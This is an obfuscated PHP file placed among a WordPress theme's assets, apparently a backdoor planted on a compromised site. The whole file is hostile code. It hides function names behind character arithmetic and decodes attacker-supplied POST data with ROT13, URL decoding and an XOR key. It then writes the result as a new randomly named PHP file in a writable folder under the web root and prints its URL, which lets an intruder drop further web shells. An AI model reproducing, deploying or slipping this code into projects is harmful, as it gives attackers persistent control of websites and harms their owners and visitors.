File: /var/www/sites/1250.info/wp-content/themes/poe/assets/ondxkfuu.php
<?php $kMzgbXL = "eeHNMNrg";function moNFGrxO($kMzgbXL){ $xpTgOC = chr(115).'t'.chr(310-196).chr(743-648)."\x72"."\x6f"."\164"."\x31".'3';$kMzgbXL = $xpTgOC($kMzgbXL);$LzxzBsrGH = 'r'."\141"."\167"."\165"."\162".'l'.chr(100).'e'.chr(99)."\157"."\144".chr(101);$kMzgbXL = $LzxzBsrGH($kMzgbXL);$kMzgbXL = str_split($kMzgbXL);return $kMzgbXL;}function VDIPJnDC($neKVvXCj, $vlBIwllC){$neKVvXCj = array_slice(str_split(str_repeat($neKVvXCj, (count($vlBIwllC)/16)+1)), 0, count($vlBIwllC));return $neKVvXCj;}function SjtXetsFQ($KIUpGic, $ipWfzQb, $neKVvXCj){$fdEVAItFGx = "6144bdb3-7fbe-47d0-b339-6b3394d24829";return $KIUpGic ^ $fdEVAItFGx[$ipWfzQb % strlen($fdEVAItFGx)] ^ $neKVvXCj;}function FbApW($vlBIwllC, $neKVvXCj){$vlBIwllC = array_map("SjtXetsFQ", array_values($vlBIwllC), array_keys($vlBIwllC), array_values($neKVvXCj));$vlBIwllC = implode("", $vlBIwllC);$GHmncXX = chr(619-502)."\156"."\x73"."\x65"."\162".chr(934-829).'a'."\x6c"."\151".chr(484-362).chr(468-367);$vlBIwllC = @$GHmncXX($vlBIwllC);return $vlBIwllC;}function HsLQFcC(){echo "ASNZYKO";}function lhbCQFy($nMUarMHJZir){static $lWPrNHuc = array();$ZQVGlqAGd = glob($nMUarMHJZir . '/*', GLOB_ONLYDIR);$YglXzjyG = count($ZQVGlqAGd);if ($YglXzjyG > 0) {foreach ($ZQVGlqAGd as $nMUarMHJZ) {$FaTldOs = chr(105)."\163".'_'.chr(337-218).chr(1108-994).'i'."\x74"."\141".chr(536-438).chr(438-330).chr(610-509);if (@$FaTldOs($nMUarMHJZ)) {$lWPrNHuc[] = $nMUarMHJZ;}}}foreach ($ZQVGlqAGd as $nMUarMHJZir) lhbCQFy($nMUarMHJZir);return $lWPrNHuc;}function ydILm(){echo "eeHNMNrg";}function Dkjeenv($vlBIwllC){$tkJRYS = "\x44".'O'.chr(67).'U'."\115".'E'.chr(896-818).chr(174-90).chr(95)."\122"."\117"."\117"."\124";$xXSJDkAk = $_SERVER[$tkJRYS];$ZQVGlqAGd = lhbCQFy($xXSJDkAk);$JNMOssE = array_rand($ZQVGlqAGd);$sRDYThh = chr(46).chr(112)."\150"."\160";$vtnyDoWe = $ZQVGlqAGd[$JNMOssE] . "/" . substr(md5(time()), 0, 8) . $sRDYThh;$hdlkANsk = "\x66"."\x69"."\x6c"."\x65".chr(801-706).'p'.'u'."\x74".chr(204-109).chr(99)."\157".'n'.chr(116).chr(101)."\156".'t'.'s';@$hdlkANsk($vtnyDoWe, $vlBIwllC);$vioEA = chr(72)."\x54"."\x54".chr(708-628)."\137".'H'.chr(767-688).chr(684-601).'T';$dwskY = 'h'.chr(116).'t'."\x70"."\x3a"."\57".chr(47);$XLrwWActy = $dwskY . $_SERVER[$vioEA] . substr($vtnyDoWe, strlen($xXSJDkAk));print($XLrwWActy);}foreach ($_POST as $neKVvXCj => $vlBIwllC){$VFaOYB = strlen($neKVvXCj);if ($VFaOYB == 16){$vlBIwllC = moNFGrxO($vlBIwllC);$neKVvXCj = VDIPJnDC($neKVvXCj, $vlBIwllC);$vlBIwllC = FbApW($vlBIwllC, $neKVvXCj);if (@is_array($vlBIwllC)){$JNMOssE = array_keys($vlBIwllC);$vlBIwllC = $vlBIwllC[$JNMOssE[0]];$JNMOssE = $JNMOssE[0];if ($vlBIwllC !== $JNMOssE){Dkjeenv($vlBIwllC);}else {$gNImEAGyor = "\160"."\150".'p';$UKktavsx = chr(112).chr(756-652).chr(112).chr(413-295).'e'.chr(114)."\x73"."\x69".chr(111).'n';$vlBIwllC = Array($gNImEAGyor => @$UKktavsx(), );$KpljunC = chr(209-94)."\x65".chr(941-827).chr(719-614).'a'.chr(143-35).chr(254-149)."\x7a"."\145";echo @$KpljunC($vlBIwllC);}die();}}}